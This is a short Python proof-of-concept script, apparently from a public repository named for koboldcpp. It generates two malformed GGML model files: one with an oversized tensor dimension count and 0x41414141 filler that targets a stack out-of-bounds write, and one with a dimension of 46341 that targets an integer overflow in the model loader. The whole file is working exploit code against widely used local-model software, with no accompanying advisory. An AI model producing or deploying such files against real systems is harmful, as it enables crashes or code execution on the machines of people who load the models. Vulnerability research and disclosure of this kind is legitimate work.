koboldcpp-ggml-poc / generate_poc.py
jdhart81's picture
Replace with real PoC generator
5f01fa7 verified
Raw
History Blame Contribute Delete
1.21 kB
#!/usr/bin/env python3
import struct, os
def generate_stack_overflow(path="poc_stack_oob.bin"):
with open(path, "wb") as f:
f.write(struct.pack("<I", 0x67676d6c))
for v in [5,1024,768,12,2,1]: f.write(struct.pack("<i", v))
f.write(struct.pack("<i", 5))
for i in range(5):
t = ("t%d" % i).encode()
f.write(struct.pack("<I", len(t))); f.write(t)
f.write(struct.pack("<i", 8))
f.write(struct.pack("<i", 12))
f.write(struct.pack("<i", 0))
for i in range(8): f.write(struct.pack("<i", 0x41414141))
f.write(b"model/ln_f/g")
print("Generated %s (%d bytes)" % (path, os.path.getsize(path)))
def generate_int_overflow(path="poc_int_overflow.bin"):
with open(path, "wb") as f:
f.write(struct.pack("<I", 0x67676d6c))
for v in [100,64,46341,1,2,1]: f.write(struct.pack("<i", v))
f.write(struct.pack("<i", 100))
for i in range(100):
t = ("t%d" % i).encode()
f.write(struct.pack("<I", len(t))); f.write(t)
print("Generated %s (%d bytes)" % (path, os.path.getsize(path)))
if __name__ == "__main__":
generate_stack_overflow()
generate_int_overflow()